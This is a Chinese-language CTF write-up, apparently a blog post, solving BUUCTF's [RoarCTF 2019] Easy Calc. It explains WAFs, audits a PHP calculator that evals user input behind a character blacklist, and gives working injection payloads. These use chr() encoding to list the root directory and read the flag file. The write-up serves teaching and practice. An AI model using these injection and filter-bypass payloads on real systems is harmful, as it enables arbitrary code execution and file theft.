当前位置: 首页 > article >正文

5.【BUUCTF】[RoarCTF 2019]Easy Calc1

进入题目页面如下

ctrl+u查看源码

提示有WAF防火墙


Web应用防火墙(WAF),即Web Application Firewall,是一种专门保护Web应用程序免受恶意攻击和漏洞利用的网络安全设备或服务。WAF通过监控、过滤和阻止对Web应用程序的恶意请求来提供安全保护,能够识别并拦截多种类型的攻击,例如SQL注入、跨站脚本攻击(XSS)、跨站请求伪造(CSRF)等

WAF的功能

WAF的主要功能在于确保Web应用程序的安全性和数据完整性。具体来说:

攻击防护:WAF可以检测并阻止针对Web应用程序的各种恶意攻击,如SQL注入、XSS、CSRF等。

流量监测:通过对进出Web应用程序的所有HTTP/HTTPS流量进行实时监控,发现异常活动并及时采取措施。

规则匹配:内置丰富的预定义安全策略以及自定义规则集,依据这些规则评估每一个进入系统的请求,并决定允许还是拒绝该请求。

日志记录与审计:除了基本的防御外,还提供了详细的日志记录能力,帮助管理员事后审查发生的事件,无论是成功的入侵尝试还是正常的业务操作。

WAF的工作原理

WAF的工作方式基于一组精心设计的安全策略来进行运作。当客户端向服务器发送请求时,所有的通信都会先经过WAF,在此过程中会执行如下几个关键步骤:

接收来自用户的原始HTTP(S)请求;

对接收到的数据包按照预先设定好的一系列规则逐一检验;

如果某个特定模式被触发,则立即终止可疑连接并将相关信息保存到日志文件中;

经过验证后的合法请求才会继续传递给后端的应用程序;反之则会被丢弃或者重定向至其他页面提示错误信息;

对于由服务器返回给浏览器的回答也会经历类似的筛查过程以防止潜在风险传播回前端用户侧。


还有url:"calc.php?num="+encodeURIComponent($("#content").val()),

访问calc.php试试

得到源码

尝试给num传参,传字母发现没有回显

传数字则有回显

进行代码审计

<?php
// 关闭所有PHP错误报告,即不显示任何错误信息
error_reporting(0);

// 检查是否设置了名为 'num' 的GET请求参数
if(!isset($_GET['num'])){
    // 如果未设置 'num' 参数,则显示当前PHP文件的源代码
    show_source(__FILE__);
}else{
    // 如果设置了 'num' 参数,将其值赋给变量 $str
    $str = $_GET['num'];
    // 定义一个黑名单数组,包含了一系列禁止使用的字符
    $blacklist = [' ', '\t', '\r', '\n', '\'', '"', '`', '\[', '\]', '\$', '\\', '\^'];
    // 遍历黑名单数组
    foreach ($blacklist as $blackitem) {
        // 使用正则表达式检查 $str 中是否包含黑名单中的字符
        if (preg_match('/' . $blackitem . '/m', $str)) {
            // 如果包含黑名单中的字符,则输出提示信息并终止脚本执行
            die("what are you want to do?");
        }
    }
    // 如果 $str 中不包含黑名单中的字符,则将其作为PHP代码进行执行,并输出执行结果
    eval('echo '.$str.';');
}
?>

eval 函数会将传入的字符串作为 PHP 代码执行,而代码只是简单地对一些常见的特殊字符进行了过滤,可以通过构造特殊的输入绕过过滤,从而执行任意 PHP 代码。

代码中定义了一个黑名单,包含了空格、制表符、换行符、引号、方括号、美元符号等常见的特殊字符。当用户输入的 num 参数包含这些字符时,会被拒绝执行

构造payload 

? num=1;var_dump(scandir(chr(47)))

scandir 函数是 PHP 中用于列出指定目录中的文件和目录的函数。其参数为要扫描的目录路径。

chr(47) 是一个关键部分,chr 函数将 ASCII 码值转换为对应的字符。ASCII 码值 47 对应的字符是 /,即根目录。所以 scandir(chr(47)) 实际上就是 scandir('/'),目的是获取服务器根目录下的文件和目录列表。

var_dump 函数用于输出变量的相关信息,这里它将输出 scandir('/') 的结果,也就是服务器根目录下的文件和目录详细信息,可以借此获取服务器的文件结构信息,为进一步攻击做准备。

得到正确的flag文件的名字

payload

? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

使用 PHP 的内置函数和特性进行更复杂的构造。使用 chr 函数来构造字符

主要是针对存在代码注入漏洞 eval 执行用户输入代码,目标是绕过应用对特殊字符的过滤,读取 /f1agg

1;添加它的目的是为了构造一个看似正常的初始语句,避免因输入不符合基本语法而被提前拦截,让后续真正要执行的代码能够顺利被 eval 函数处理。

var_dump 是 PHP 中的一个内置函数,其功能是输出变量的详细信息,涵盖变量的类型和值。在这个 payload 中使用它,是为了输出 file_get_contents 函数的返回值,也就是文件的内容

file_get_contents 是 PHP 用于读取文件内容的函数,它接收一个文件路径作为参数,会把整个文件的内容读入到一个字符串中并返回

  • chr 函数是 PHP 内置函数,其作用是将一个 ASCII 码值转换为对应的字符。
  • chr(47) :ASCII 码 47 对应的字符是 / ,它是文件路径的分隔符。
  • chr(102) :ASCII 码 102 对应的字符是 f 
  • chr(49) :ASCII 码 49 对应的字符是 1
  • chr(97) :ASCII 码 97 对应的字符是 a 
  • chr(103) :ASCII 码 103 对应的字符是 g

最终得到flag


http://www.kler.cn/a/539504.html

相关文章:

  • PostgreSQL 18新特性之DML语句RETURNING增强
  • 线程上下文-ThreadLocal原理
  • 测试中的第一性原理:回归本质的质量思维革命
  • QML 和 Qt Quick 介绍
  • 排序合集(一)
  • golang使用sqlite3,开启wal模式,并发读写
  • C# OpenCV机器视觉:多尺度细节提升
  • MFC 的 CListCtrl 控件,使用SetItemState 方法来设置选中某个 item,如何达到效果和鼠标点击一致
  • qml前后端数据交互
  • 第436场周赛:按对角线进行矩阵排序、将元素分配给有约束条件的组、统计可以被最后一个数位整除的子字符串数目、最大化游戏分数的最小值
  • 【C++篇】智能指针
  • Objective-C语言的云计算
  • openssl使用
  • 【HeadFirst系列之HeadFirstJava】第2天之类与对象-拜访对象村
  • 使用golang wails写了一个桌面端小工具:WoWEB, 管理本地多前端项目
  • YOLOV8 OpenCV + usb 相机 实时识别
  • JMeter常用函数整理
  • 高并发读多写少场景下的高效键查询与顺序统计的方案思路
  • 【Spring Boot】Spring 事务探秘:核心机制与应用场景解析
  • Android studio怎么创建assets目录
  • 编程语言的深度剖析:从语法到性能优化
  • 【JavaScript】《JavaScript高级程序设计 (第4版) 》笔记-Chapter7-迭代器与生成器
  • 【自动化办公】基于WPF和阿里云API的高效识别PDF多个区域内容并保存至JSON文件,再将JSON文件转换解析为表格输出
  • pytest生成报告no tests ran in 0.01s
  • Java WORD和PDF互相转换以及数据填充示例
  • Windows Docker笔记-Docker容器操作